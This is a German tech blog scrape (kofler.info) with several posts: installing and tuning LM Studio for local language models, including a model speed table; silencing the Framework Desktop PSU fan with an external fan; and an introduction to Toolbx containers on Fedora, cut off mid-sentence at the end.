Eintrag. In der Mitte steht die Unterhaltung mit einer Erklärung zu „nested lists“ und einem Python-Codeblock mit einem 3×3-Grid. Rechts sind Kontext/Model/Program-Einstellungen sowie ein System-Prompt-Editor zu sehen." width="2284" height="1738" class="alignnone size-full wp-image-9335" srcset="https://kofler.info/wp-content/uploads/server-lm-chat.png 2284w, https://kofler.info/wp-content/uploads/server-lm-chat-850x647.png 850w, https://kofler.info/wp-content/uploads/server-lm-chat-1262x960.png 1262w, https://kofler.info/wp-content/uploads/server-lm-chat-768x584.png 768w, https://kofler.info/wp-content/uploads/server-lm-chat-1536x1169.png 1536w, https://kofler.info/wp-content/uploads/server-lm-chat-2048x1558.png 2048w" sizes="auto, (max-width: 2284px) 100vw, 2284px" /> Installation unter Linux Kostenlose Downloads für LM Studio finden Sie unter https://lmstudio.ai. Die Linux-Version wird als sogenanntes AppImage angeboten. Das ist ein spezielles Paketformat, das grundsätzlich eine direkte Ausführung der heruntergeladenen Datei ohne explizite Installation erlaubt. Das funktioniert leider nur im Zusammenspiel mit wenigen Linux-Distributionen auf Anhieb. Bei den meisten Distributionen müssen Sie die Datei nach dem Download explizit als »ausführbar« kennzeichnen. Je nach Distribution müssen Sie außerdem die FUSE-Bibliotheken installieren. (FUSE steht für Filesystem in Userspace und erlaubt die Nutzung von Dateisystem-Images ohne root-Rechte oder sudo.) Unter Fedora funktioniert es wie folgt: sudo dnf install fuse-libs # FUSE-Bibliothek installieren chmod +x Downloads/*.AppImage # execute-Bit setzen Downloads/LM-Studio-<n.n>.AppImage # LM Studio ausführen Nach dnf install fuse-libs und chmod +x können Sie LM Studio per Doppelklick im Dateimanager starten. Erste Schritte Nach dem ersten Start fordert LM Studio Sie auf, ein KI-Modell herunterzuladen. Es macht gleich einen geeigneten Vorschlag. In der Folge laden Sie dieses Modell und können dann in einem Chat-Bereich Prompts eingeben. Die Eingabe und die Darstellung der Ergebnisse sieht ganz ähnlich wie bei populären Weboberflächen aus (also ChatGPT, Claude etc.). Nachdem Sie sich vergewissert haben, dass LM Studio prinzipiell funktioniert, ist es an der Zeit, die Oberfläche genauer zu erkunden. Grundsätzlich können Sie zwischen drei Erscheinungsformen wählen, die sich an unterschiedliche Benutzergruppen wenden: User, Power User und Developer. In den letzteren beiden Modi präsentiert sich die Benutzeroberfläche in all ihren Optionen. Es gibt vier prinzipielle Ansichten, die durch vier Icons in der linken Seitenleiste geöffnet werden: Chats Developer (Logging-Ausgaben, Server-Betrieb) My Models (Verwaltung der heruntergeladenen Sprachmodelle) Discover (Suche und Download weiterer Modelle). GPU Offload und Kontextlänge einstelln Sofern Sie mehrere Sprachmodelle heruntergeladen haben, wählen Sie das gewünschte Modell über ein Listenfeld oberhalb des Chatbereichs aus. Bevor der Ladevorgang beginnt, können Sie diverse Optionen einstellen (aktivieren Sie bei Bedarf Show advanced settings). Besonders wichtig sind die Parameter Context Length und GPU Offload. Die Kontextlänge limitiert die Größe des Kontextspeichers. Bei vielen Modellen gilt hier ein viel zu niedriger Defaultwert von 4000 Token. Das spart Speicherplatz und erhöht die Geschwindigkeit des Modells. Für anspruchsvolle Coding-Aufgaben brauchen Sie aber einen viel größeren Kontext! Der GPU Offload bestimmt, wie viele Ebenen (Layer) des Modells von der GPU verarbeitet werden sollen. Für die restlichen Ebenen ist die CPU zuständig, die diese Aufgabe aber wesentlich langsamer erledigt. Sofern die GPU über genug Speicher verfügt (VRAM oder Shared Memory), sollten Sie diesen Regler immer ganz nach rechts schieben! LM Studio ist nicht immer in der Lage, die Größe des Shared Memory korrekt abzuschätzen und wählt deswegen mitunter einen zu kleinen GPU Offload. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/server-lm-settings1.png" alt="Der Screenshot zeigt die Grundeinstellungen beim Laden des Sprachmodells „OpenAI’s gpt-oss 120B“. Oben wird der geschätzte Speicherbedarf angezeigt, mit GPU- und Gesamtbedarf von 67,49 GB. Im Bereich „Model file“ sind die Formate MXFP4 und GGUF markiert. Darunter lassen sich Context Length (bis 131072 Tokens, aktuell 69143) und GPU Offload (36/36) per Schieberegler einstellen. Unten sind Optionen zum Merken der Einstellungen sowie der Button „Load Model“." width="1400" height="837" class="size-full wp-image-9337" srcset="https://kofler.info/wp-content/uploads/server-lm-settings1.png 1400w, https://kofler.info/wp-content/uploads/server-lm-settings1-850x508.png 850w, https://kofler.info/wp-content/uploads/server-lm-settings1-1280x765.png 1280w, https://kofler.info/wp-content/uploads/server-lm-settings1-768x459.png 768w" sizes="auto, (max-width: 1400px) 100vw, 1400px" /> Grundeinstellungen beim Laden eines Sprachmodells <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/server-lm-list-scaled.png" alt="Der Screenshot zeigt die „My Models“-Ansicht in LM Studio mit einer Liste lokal installierter Sprachmodelle. Oben ist das Models-Verzeichnis „/home/kofler/.lmstudio/models“ sowie ein Suchfeld zum Filtern zu sehen. In der Tabelle werden Architektur, Parameter, Publisher, Modellname, Quantisierung, Größe und Änderungsdatum angezeigt, inklusive Action-Buttons pro Eintrag. Unten steht, dass 6 lokale Modelle insgesamt 202,97 GB belegen." width="2560" height="1307" class="size-full wp-image-9338" srcset="https://kofler.info/wp-content/uploads/server-lm-list-scaled.png 2560w, https://kofler.info/wp-content/uploads/server-lm-list-850x434.png 850w, https://kofler.info/wp-content/uploads/server-lm-list-1280x653.png 1280w, https://kofler.info/wp-content/uploads/server-lm-list-768x392.png 768w, https://kofler.info/wp-content/uploads/server-lm-list-1536x784.png 1536w, https://kofler.info/wp-content/uploads/server-lm-list-2048x1045.png 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> Überblick über die heruntergeladenen Sprachmodelle Debugging und Server-Betrieb In der Ansicht Developer können Sie Logging-Ausgaben lesen. LM Studio verwendet wie Ollama und die meisten anderen KI-Oberflächen das Programm llama.cpp zur Ausführung der lokalen Modelle. Allerdings gibt es von diesem Programm unterschiedliche Versionen für den CPU-Betrieb (langsam) sowie für diverse GPU-Bibliotheken. In dieser Ansicht können Sie den in LM Studio integrierten REST-Server aktivieren. Damit können Sie z.B. mit eigenen Python-Programmen oder mit dem VS-Code-Plugin Continue Prompts an LM Studio senden und dessen Antwort verarbeiten. Standardmäßig kommt dabei der Port 1234 um Einsatz, wobei der Zugriff auf den lokalen Rechner limitiert ist. In den Server Settings können Sie davon abweichende Einstellungen vornehmen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/server-lm-logging-scaled.png" alt="Der Screenshot zeigt LM Studio im Developer-Modus mit geöffnetem Dialog „Server Settings“. Links ist der Status „Running“ zu sehen und oben die lokale URL „http://127.0.0.1:1234“, unter der der Server erreichbar ist. Im Einstellungsfenster werden Optionen wie Server-Port, CORS, Local Network sowie Just-in-Time-Model-Loading und Auto-Unload per Schalter konfiguriert. Im Hintergrund laufen Developer-Logs mit Modell- und Tokenizer-Parametern." width="2560" height="1366" class="size-full wp-image-9340" srcset="https://kofler.info/wp-content/uploads/server-lm-logging-scaled.png 2560w, https://kofler.info/wp-content/uploads/server-lm-logging-850x453.png 850w, https://kofler.info/wp-content/uploads/server-lm-logging-1280x683.png 1280w, https://kofler.info/wp-content/uploads/server-lm-logging-768x410.png 768w, https://kofler.info/wp-content/uploads/server-lm-logging-1536x819.png 1536w, https://kofler.info/wp-content/uploads/server-lm-logging-2048x1093.png 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> Logging-Ausgaben und Server-Optionen <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/server-lm-runtime-scaled.png" alt="Der Screenshot zeigt das LM‑Studio-Menü „Mission Control“ mit den „Runtime Extension Packs“ unter Linux. Links ist „Runtime“ ausgewählt, in der Mitte werden ROCm-, CPU- und Vulkan‑„llama.cpp“-Engines samt Versionsständen gelistet. Für ROCm gibt es einen „Download and Install“-Button, für CPU ein Update. Rechts sind installierte Pakete und die GGUF‑Engine-Auswahl (Vulkan llama.cpp) sowie Auto‑Update-Optionen sichtbar." width="2560" height="1238" class="size-full wp-image-9341" srcset="https://kofler.info/wp-content/uploads/server-lm-runtime-scaled.png 2560w, https://kofler.info/wp-content/uploads/server-lm-runtime-850x411.png 850w, https://kofler.info/wp-content/uploads/server-lm-runtime-1280x619.png 1280w, https://kofler.info/wp-content/uploads/server-lm-runtime-768x372.png 768w, https://kofler.info/wp-content/uploads/server-lm-runtime-1536x743.png 1536w, https://kofler.info/wp-content/uploads/server-lm-runtime-2048x991.png 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> Hinter den Kulissen greift LM Studio auf »llama.cpp« zurück Praktische Erfahrungen am Framework Desktop Auf meinem neuen Framework Desktop mit 128 GiB RAM habe ich nun diverse Modelle ausprobiert. Die folgende Tabelle zeigt die erzielte Output-Geschwindigkeit in Token/s. Beachten Sie, dass die Geschwindigkeit spürbar sinkt wenn viel Kontext im Spiel ist (größere Code-Dateien, längerer Chat-Verlauf). Sprachmodell MoE Parameter Quant. Token/s ------------- ----- ---------- --------- -------- deepseek-r1-distill-qwen-14b nein 14 Mrd. Q4_K_S 22 devstral-small-2-2512 nein 25 Mrd. Q4_K_M 13 glm-4.5-air ja 110 Mrd. Q3_K_L 25 gpt-oss-20b ja 20 Mrd. MXFP4 65 gpt-oss-120b ja 120 Mrd. MXFP4 48 nouscoder-14b nein 14 Mrd. Q4_K_S 22 qwen3-30b-a3b ja 30 Mrd. Q4_K_M 70 qwen3-next-80b-83b ja 80 Mrd. Q4_K_XL 40 seed-oss-36b nein 36 Mrd. Q4_K_M 10 Normalerweise gilt: je größer das Sprachmodell, desto besser die Qualität, aber desto kleiner die Geschwindigkeit. Ein neuer Ansatz durchbricht dieses Muster. Bei Mixture of Expert-Modellen (MoE-LLMs) gibt es Parameterblöcke für bestimmte Aufgaben. Bei der Berechnung der Ergebnis-Token entscheidet das Modell, welche »Experten« für den jeweiligen Denkschritt am besten geeignet sind, und berücksichtigt nur deren Parameter. Ein populäres Beispiel ist das freie Modell GPT-OSS-120B. Es umfasst 117 Milliarden Parameter, die in 36 Ebenen (Layer) zu je 128 Experten organisiert sind. Bei der Berechnung jedes Output Tokens sind in jeder Ebene immer nur vier Experten aktiv. Laut der Modelldokumentation sind bei der Token Generation immer nur maximal 5,1 Milliarden Parameter aktiv. Das beschleunigt die Token Generation um mehr als das zwanzigfache: Welches ist nun das beste Modell? Auf meinem Rechner habe ich mit dem gerade erwähnten Modell GPT-OSS-120B sehr gute Erfahrungen gemacht. Für Coding-Aufgaben funktionieren auch qwen3-next-80b-83b und glm-4.5-air gut, wobei letzteres für den praktischen Einsatz schon ziemlich langsam ist. Quellen/Links https://lmstudio.ai/ https://lmstudio.ai/blog/free-for-work https://openai.com/index/introducing-gpt-oss
Wie ich hier berichtet habe, ist der Framework Desktop zwar die meiste Zeit leise, aber ca. alle zehn Minuten heult der Netzteillüfter für ca. 30 Sekunden — selbst dann, wenn das Gerät mehr oder weniger im Leerlauf läuft. Das ist extrem störend. Es hat zwei Versuche gebraucht, aber jetzt herrscht Ruhe. Das Problem Kurz zusammengefasst: … Framework Desktop ruhig gestellt weiterlesen →
Wie ich hier berichtet habe, ist der Framework Desktop zwar die meiste Zeit leise, aber ca. alle zehn Minuten heult der Netzteillüfter für ca. 30 Sekunden — selbst dann, wenn das Gerät mehr oder weniger im Leerlauf läuft. Das ist extrem störend. Es hat zwei Versuche gebraucht, aber jetzt herrscht Ruhe. Das Problem Kurz zusammengefasst: Der Framework Desktop hat eine wunderbare CPU-Kühlung mit einem 120mm-Lüfter. Dieser kann aber das eingebaute Netzteil nicht kühlen. Das gekapselte Netzteil besitzt einen eigenen 40mm-Lüfter (PSU), der zwar die meiste Zeit still steht, aber dafür im Betrieb umso unangenehmer heult. Die Luftzufuhr zum Netzteil wird durch eine enge Röhre und das Gitter des Gehäuses behindert. Das Netzteil ist nur mäßig effizient, was sich vermutlich im Leerlaufbetrieb besonders stark auswirkt. Im Netzteil steht die Luft. Diese wird immer heißer. Ca. 1/2 h nach dem Einschalten wird erstmals eine kritische Temperatur erreicht. Nun startet unvermittelt der winzige Lüfter. Eine halbe Minute reicht, um das Netzteil mit frischer Luft etwas abzukühlen — aber nach ca. 10 Minuten beginnt das Spiel von neuem. Der Netzteillüfter kann nicht durch das BIOS gesteuert werden. Lösungsversuch 1 (unbefriedigend) Aus dem Framework-Forum stammt die Idee, das Netzteil durch einen normalerweise langsam laufenden externen Lüfter regelmäßig zu kühlen. Diese Idee habe ich aufgegriffen. Im ersten Versuch habe ich einen 60-mm-Lüfter mit 5V-Versorgung verwendet. Diesen habe ich über eine USB-Buchse mit Strom versorgt, mit einem ziemlich hässlichen Poti (amazon-Link) zur Regulierung der Drehzahl. Der Lüfter muss so eingebaut werden, dass er nach außen bläst, die warme Luft aus dem Netzteil also heraussaugt. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-fan-1.jpeg" alt="Das Foto zeigt einen offenen Mini-PC bzw. ein kleines Gehäuse im Testaufbau mit improvisierter Zusatzkühlung per USB-Lüfter. Im Inneren ist ein großer Gehäuselüfter sichtbar, daneben leuchten rote LEDs auf einer Platine. Außen am Gehäuse hängt ein kleiner Lüfter, der mit Klebeband fixiert ist und über einen USB‑Adapter versorgt wird. Der Aufbau steht auf einem Holzboden." width="1201" height="1280" class="size-full wp-image-9289" srcset="https://kofler.info/wp-content/uploads/framework-fan-1.jpeg 1201w, https://kofler.info/wp-content/uploads/framework-fan-1-610x650.jpeg 610w, https://kofler.info/wp-content/uploads/framework-fan-1-901x960.jpeg 901w, https://kofler.info/wp-content/uploads/framework-fan-1-768x819.jpeg 768w" sizes="auto, (max-width: 1201px) 100vw, 1201px" /> Erster Versuch mit USB-Lüfter Prinziell war bereits dieser erste Versuch von Erfolg gekrönt. Der interne PSU-Lüfter schaltete sich nicht mehr ein. Allerdings ist die Konstruktion unschön. Die minimale, per Poti einstellbare Drehzahl war so hoch, dass mich das relativ leise Geräusch des externen Lüfters immer noch störte. Aber prinzipiell war bewiesen, dass bereits eine minimale Durchlüftung des Netzteils ausreicht, um bei geringer Belastung das regelmäßige Aufheulen des PSU-Lüfters zu verhindern. Lösungsversuch 2 (funktioniert) Zwei Dinge sind beim ersten Versuch nachteilig: Einerseits kann der Lüfter nicht so weit nach unten hin reguliert werden (also mit niedriger Drehzahl betrieben werden), dass er für mich unhörbar ist. Andererseits fehlt dem Lüfter die »Intelligenz«, unter Last höher zu drehen. Nun bietet der Framework Desktop einen Anschluss für einen zweiten, internen Gehäuselüfter. phoronix hat damit experimentiert, aber der Nutzen ist überschaubar. Meine Idee war nun, diesen Anschluss für einen externen Lüfter zu verwenden. Die einzige Hürde besteht darin, ein Kabel nach außen zu führen. Dazu muss ein Loch in das Belüftungsgitter gebohrt werden. Am besten wäre es, den Framework Desktop dazu zu zerlegen, bis die Rückwand komplett entfernt werden kann. Das war mir zu mühsam. Ich habe nur den CPU-Lüfter ausgebaut, den Innenraum abgedeckt (damit keine Eisenspäne herumfliegen) und dann mit einem Metallbohrer ein Loch in das Lüftungsgitter gebohrt und mit einem Staubsauger alle Späne sofort weggesaugt. Wirklich elegant ist das Ergebnis nicht, aber es erfüllt seinen Zweck. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-fan-4.jpeg" alt="Das Foto zeigt eine Nahaufnahme des Innenraums eines PC-Gehäuses mit sichtbaren Mainboard-Anschlüssen für Lüfter. Im unteren Bereich sind zwei beschriftete Header zu sehen: links „APU Fan“ und rechts der externe Lüfteranschluss „Sys Fan2“. Mittig ragt ein federnder Metallstift bzw. eine Halterung heraus. Die Öffnung im Gehäuse gibt den Blick auf Kabel und Steckplätze frei." width="1280" height="720" class="size-full wp-image-9292" srcset="https://kofler.info/wp-content/uploads/framework-fan-4.jpeg 1280w, https://kofler.info/wp-content/uploads/framework-fan-4-850x478.jpeg 850w, https://kofler.info/wp-content/uploads/framework-fan-4-768x432.jpeg 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /> Anschluss des externen Lüfters (rechts im Bild, »Sys Fan 2«) Anschließend habe ich ein 10-cm-Verlängerskabel für den Lüfter nach außen geleitet und den eigentlichen Lüfter dort angeschlossen. Die Lüftermontage habe ich mit einer festen Plastikfolie (ausgeschnitten aus der Rückseite eines Schnellhefters) und viel Klebeband so bewerkstelligt, dass zwischen Gehäuse und Lüfter ein Luftkanal von ca. 1 cm entsteht. Wichtig: Der Lüfter muss so montiert werden, dass er die Luft aus dem Netzteil nach außen saugt/bläst. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-fan-2.jpeg" alt="Das Foto zeigt die Rückseite eines kompakten Mini-PCs bzw. eines kleinen Servergehäuses am Fenster. Unten ist provisorisch ein 12‑V-Lüfter mit Klebeband am Gehäuse befestigt, dessen Kabel nach oben geführt wird. Die Rückwand bietet großflächige Lüftungsgitter sowie mehrere Anschlüsse, darunter USB‑Ports. Laut Bildunterschrift wird der Lüfter als „System Fan 2“ im BIOS geregelt." width="1146" height="1280" class="size-full wp-image-9290" srcset="https://kofler.info/wp-content/uploads/framework-fan-2.jpeg 1146w, https://kofler.info/wp-content/uploads/framework-fan-2-582x650.jpeg 582w, https://kofler.info/wp-content/uploads/framework-fan-2-860x960.jpeg 860w, https://kofler.info/wp-content/uploads/framework-fan-2-768x858.jpeg 768w" sizes="auto, (max-width: 1146px) 100vw, 1146px" /> Zweiter Versuch mit 12-V-Lüfter, der als »System Fan 2« über das BIOS gesteuert wird <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-fan-6.jpeg" alt="Das Foto zeigt die Rückseite eines blauen Schnellhefters, der als improvisiertes Bauteil genutzt wird. Links ist ein Aufkleber mit der Beschriftung „KLEMM-MAPPE A4“ samt Barcode zu sehen. Oben ragt eine transparente Kunststofflasche über den Hefter hinaus. Unten mittig sitzt eine schwarze Klemme, rechts hält eine Hand den Hefter – passend zur Bildunterschrift als selbstgebastelter Luftkanal für einen externen Lüfter." width="1280" height="904" class="size-full wp-image-9294" srcset="https://kofler.info/wp-content/uploads/framework-fan-6.jpeg 1280w, https://kofler.info/wp-content/uploads/framework-fan-6-850x600.jpeg 850w, https://kofler.info/wp-content/uploads/framework-fan-6-768x542.jpeg 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /> Aus der Rückseite eines Schnellhefters habe ich einen Kanal für den externen Lüfter gebastelt Zuletzt habe ich das gesamte Gehäuse mit ein paar Filzgleitern höher gestellt, so dass ein Wärmetransport von der Unterseite des Gehäuses möglich ist. Ich vermute, dass diese Maßnahme nur im CPU-intensiven Dauerbetrieb relevant ist. Solange der Framework Desktop nur gelegentlich unter Last läuft, wird die Unterseite nicht besonders warm. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-fan-3.jpeg" alt="Das Foto zeigt ein kleines Hardware-Setup, bei dem ein Gerät auf einem zweiten Gerät steht und per Filzgleitern Abstand gewinnt. Oben ist ein Lüftergehäuse bzw. ein kleiner Aufbau mit Klebeband fixiert, seitlich ragen mehrere runde Filzgleiter heraus. Das untere weiße Gerät ist auf die Seite gelegt; ein Typenschild mit QR-Code ist sichtbar. Die Szene steht auf einer Fensterbank neben einem Notebook." width="696" height="1280" class="size-full wp-image-9291" srcset="https://kofler.info/wp-content/uploads/framework-fan-3.jpeg 696w, https://kofler.info/wp-content/uploads/framework-fan-3-353x650.jpeg 353w, https://kofler.info/wp-content/uploads/framework-fan-3-522x960.jpeg 522w" sizes="auto, (max-width: 696px) 100vw, 696px" /> Filzgleiter erhöhen den Bodenabstand Bleibt noch die Lüftersteuerung: Beim CPU-Lüfter habe ich CPU Fan min duty % auf 25 Prozent eingestellt. Der Lüfter dreht dann so langsam, dass ich ihn nicht höre, sorgt aber dennoch für einen steten Luftzug durch das Gehäuse. Erst unter Last dreht der CPU-Lüfter stärker auf und wird hörbar. Der externe Lüfter wird im BIOS über Chassis Fan 2 gesteuert. Ich habe Chassis 2 Fan min duty % auf 30 Prozent gestellt. Wiederum war das Ziel, einen Wert zu wählen, der für mich unterhalb der Hör/Störschwelle ist, aber gleichzeitig für eine dauerhafte Durchlüftung des engen Netzteilkanals zu sorgen. Als Fan Sensor habe ich Mainboard Power eingestellt, aber vermutlich würde jeder andere Temperatursensor ebenso gut funktionieren. Das Netzteil hat keinen eigenen Sensor. Auf jeden Fall ist es sinnvoll, das Netzteil intensiver zu kühlen, wenn die CPU unter Last heiß wird. Naturgemäß sind meine Einstellungen persönliche Erfahrungswerte, abhängig vom eingesetzten Lüfter (ich habe den Noctua NF-A6x25 PWM verwendet, amazon-Link), vom Nutzungsverhalten und vom Aufstellungsort. Fan Configuration Menu“ sind Einstellungen für „Chassis 1 Fan“ und „Chassis 2 Fan“ (System Fan 2) aufgelistet. Sichtbar sind Parameter wie minimale/ maximale Duty‑Cycle‑Werte, Temperaturgrenzen sowie „Always On“. Rechts wird der ausgewählte Temperatursensor („Mainboard Power“) erläutert." width="1280" height="803" class="size-full wp-image-9293" srcset="https://kofler.info/wp-content/uploads/framework-fan-5.jpeg 1280w, https://kofler.info/wp-content/uploads/framework-fan-5-850x533.jpeg 850w, https://kofler.info/wp-content/uploads/framework-fan-5-768x482.jpeg 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /> BIOS/EFI-Einstellungen für den »System Fan 2« Ergebnis Ich bin zufrieden. Im normalen Desktopbetrieb ist der Rechner jetzt (für meine Ohren) lautlos. Wenn ich den Kernel kompiliere oder Sprachmodelle ausführe, die CPU also unter Volllast arbeitet, drehen die beiden Lüfter (CPU-Lüfter intern, mein Netzteil-Lüfter extern) langsam hoch und sind deutlich hörbar, aber auf jeden Fall in einer viel angenehmeren Tonlage als bisher. Den internen PSU-Kühler mit seiner extrem unangenehmen Geräuschkulisse habe ich seit der Inbetriebnahme des externen Lüfters nie mehr gehört. Der außen befestigte Lüfter ist zugegebenermaßen ein hässlicher Hack für ein 2000-€-Gerät. Bei normalen Aufstellung des Rechners am oder unter dem Schreibtisch stört die Konstruktion aber nicht. Mir ist auf jeden Fall die Akustik wichtiger als die Optik. Für einen vollständig lautlosen Betrieb müsste das Framework-Mainboard in ein größeres Gehäuse gebaut und mit einem effizienteren, größeren Netzteil versorgt werden. Dazu habe ich keine Zeit/Lust/Geld. Die hier präsentierte Lösung verursacht weniger als 20 € Kosten und lässt sich in einer Stunde bewerkstelligen. Bleibt zuletzt die Frage, ob man bei einem 2000-€-Computer nicht von Haus aus ein besser durchdachtes Kühlungs-Design hätte erwarten sollen. Ist wirklich nur Apple in der Lage oder willig, sich diese Mühe zu machen? Quellen/Links https://kofler.info/framework-desktop https://community.frame.work/t/exterior-fan-to-solve-the-noisy-psu-fan-problem/76398/37 https://community.frame.work/t/noisy-psu-fan/74751/493 https://www.phoronix.com/review/framework-desktop-power
Beim Experimentieren mit KI-Sprachmodellen bin ich über das Projekt »Toolbx« gestolpert. Damit können Sie unkompliziert gekapselte Software-Umgebungen erzeugen und ausführen. Toolbx hat große Ähnlichkeiten mit Container-Tools und nutzt deren Infrastruktur, unter Fedora die von Podman. Es gibt aber einen grundlegenden Unterschied zwischen Docker/Podman auf der einen und Toolbx auf der anderen Seite: Docker, Podman & … Toolbx weiterlesen →
Beim Experimentieren mit KI-Sprachmodellen bin ich über das Projekt »Toolbx« gestolpert. Damit können Sie unkompliziert gekapselte Software-Umgebungen erzeugen und ausführen. Toolbx hat große Ähnlichkeiten mit Container-Tools und nutzt deren Infrastruktur, unter Fedora die von Podman. Es gibt aber einen grundlegenden Unterschied zwischen Docker/Podman auf der einen und Toolbx auf der anderen Seite: Docker, Podman & Co. versuchen die ausgeführten Container sicherheitstechnisch möglichst gut vom Host-System zu isolieren. Genau das macht Toolbx nicht! Im Gegenteil, per Toolbx ausgeführte Programme können auf das Heimatverzeichnis des aktiven Benutzers sowie auf das /dev-Verzeichnis zugreifen, Wayland nutzen, Netzwerkschnittstellen bedienen, im Journal protokollieren, die GPU nutzen usw. Toolbx wurde ursprünglich als Werkzeug zur Software-Installation in Distributionen auf der Basis von OSTree konzipiert (Fedora CoreOS, Siverblue etc.). Dieser Artikel soll als eine Art Crash-Kurs dienen, wobei ich mit explizit auf Fedora als Host-Betriebssystem beziehe. Grundwissen zu Podman/Docker setze ich voraus. Mehr Details gibt die Projektdokumentation. Beachten Sie, dass die offizielle Bezeichnung des Projekts »Toolbx« ohne »o« in »box« lautet, auch wenn das zentrale Kommando toolbox heißt und wenn die damit erzeugten Umgebungen üblicherweise Toolboxes genannt werden. Hello, Toolbx! Das Kommando toolbox aus dem gleichnamigen Paket wird ohne sudo ausgeführt. In der Minimalvariante erzeugen Sie mit toolbox <name> eine neue Toolbox, die als Basis ein Image Ihrer Host-Distribution verwendet. Wenn Sie also wie ich in diesen Beispielen unter Fedora arbeiten, fragt toolbox beim ersten Aufruf, ob es die Fedora-Toolbox herunterladen soll: toolbox create test1 Image required to create Toolbx container. Download registry.fedoraproject.org/fedora-toolbox:43 (356.7MB)? [y/N]: y Created container: test1 Wenn Sie als Basis eine andere Distribution verwenden möchten, geben Sie den Distributionsnamen und die Versionsnummer in zwei Optionen an: toolbox create --distro rhel --release 9.7 rhel97 Das Kommando toolbox list gibt einen Überblick, welche Images Sie heruntergeladen haben und welche Toolboxes (in der Podman/Docker-Nomenklatur: welche Container) Sie erzeugt haben: toolbox list IMAGE ID IMAGE NAME CREATED f06fdd638830 registry.access.redhat.com/ubi9/toolbox:9.7 3 days ago b1cc6a02cef9 registry.fedoraproject.org/fedora-toolbox:43 About an hour ago CONTAINER ID CONTAINER NAME CREATED STATUS IMAGE NAME 695e17331b4a llama-vulkan-radv 2 days ago exited docker.io/kyuz0/amd-strix-halo-toolboxes:vulkan-radv dc8fd94977a0 rhel97 22 seconds ago created registry.access.redhat.com/ubi9/toolbox:9.7 dd7d51c65852 test1 18 minutes ago created registry.fedoraproject.org/fedora-toolbox:43 Um eine Toolbox aktiv zu nutzen, aktivieren Sie diese mit toolbox enter. Damit starten Sie im Terminal eine neue Session. Sie erkennen nur am veränderten Prompt, dass Sie sich nun in einer anderen Umgebung befinden. Sie haben weiterhin vollen Zugriff auf Ihr Heimatverzeichnis; die restlichen Verzeichnisse stammen aber überwiegend von Toolbox-Container. Hinter den Kulissen setzt sich der in der Toolbox sichtbare Verzeichnisbaum aus einer vollkommen unübersichtlichen Ansammlung von Dateisystem-Mounts zusammen. findmnt liefert eine über 350 Zeilen lange Auflistung! toolbox enter test1 [kofler@toolbx ~]$ cat /etc/os-release NAME="Fedora Linux" VERSION="43 (Toolbx Container Image)" RELEASE_TYPE=stable ID=fedora VERSION_ID=43 ... [kofler@toolbx ~]$ findmnt | wc -l 359 Innerhalb einer Fedora-Toolbox können Sie wie üblich mit rpm und dnf Pakete verwalten. Standardmäßig ist nur ein relativ kleines Subset an Paketen installiert. [kofler@toolbx ~]$ rpm -qa | wc -l 340 Innerhalb der Toolbox können Sie mit sudo administrative Aufgaben erledigen, z.B. sudo dnf install <pname>. Dabei ist kein Passwort erforderlich. ps ax listet alle Prozesse auf, sowohl die der Toolbox als auch alle anderen des Hostsystems! Mit exit oder Strg+D verlassen Sie die Toolbox. Sie können Sie später mit toolbox enter <name> wieder reaktivieren. Alle zuvor durchgeführten Änderungen gelten weiterhin. (Hinter den Kulissen verwendet das Toolbx-Projekt einen Podman-Container und speichert Toolbox-lokalen Änderungen in einem Overlay-Dateisystem.) Bei ersten Experimenten mit Toolbx ist mitunter schwer nachzuvollziehen, welche Dateien/Einstellungen Toolbox-lokal sind und welche vom Host übernommen werden. Beispielsweise ist /etc/passwd eine Toolbox-lokale Datei. Allerdings wurden beim Erzeugen dieser Datei die Einstellungen Ihres lokalen Accounts von der Host-weiten Datei /etc/passwd übernommen. Wenn Sie also auf Host-Ebene Fish als Shell verwenden, ist /bin/fish auch in der Toolbox-lokalen passwd-Datei enthalten. Das ist insofern problematisch, als im Standard-Image für Fedora und RHEL zwar die Bash enthalten ist, nicht aber die Fish. In diesem Fall erscheint beim Start der Toolbox eine Fehlermeldung, die Bash wird als Fallback verwendet: toolbox enter test1 bash: Zeile 1: /bin/fish: Datei oder Verzeichnis nicht gefunden Error: command /bin/fish not found in container test1 Using /bin/bash instead. Es spricht aber natürlich nichts dagegen, die Fish zu installieren: [kofler@toolbx ~]$ sudo dnf install fish Auf Host-Ebene liefern die Kommandos podman ps -a und podman images sowohl herkömmliche Podman-Container und -Images als auch Toolboxes. Aus Podman-Sicht gibt es keinen Unterschied. Der Unterschied zwischen einem Podman-Container und einer Toolbox ergibt sich erst durch die Ausführung (bei Podman mit sehr strenger Isolierung zwischen Container und Host, bei Toolbox hingegen ohne diese Isolierung). Eigene Toolboxes erzeugen Eigene Toolboxes richten Sie ein wie eigene Podman-Images. Die Ausgangsbasis ist ein Containerfile, das die gleiche Syntax wie ein Dockerfile hat: # Datei my-directory/Containerfile FROM registry.fedoraproject.org/fedora-toolbox:43 # Add metadata labels ARG NAME=my-toolbox ARG VERSION=43 LABEL com.github.containers.toolbox="true" \ name="$NAME" \ version="$VERSION" \ usage="This image is meant to be used with the toolbox(1) command" \ summary="Custom Fedora Toolbx with joe and fish" # Install your software RUN dnf --assumeyes install \ fish \ joe # Clean up RUN dnf clean all Mit podman build erzeugen Sie das entsprechende lokale Image: cd my-directory podman build --squash --tag localhost/my-dev-toolbox:43 . Jetzt können Sie auf dieser Basis eine eigene Toolbox einrichten: toolbox create --image localhost/my-toolbox:43 test2 toolbox enter test2 KI-Sprachmodelle mit Toolbx ausführen Das Toolbx-Projekt bietet eine großartige Basis, um GPU-Bibliotheken und KI-Programme auszuprobieren, ohne die erforderlichen Bibliotheken auf Systemebene zu installieren. Eine ganze Sammlung von 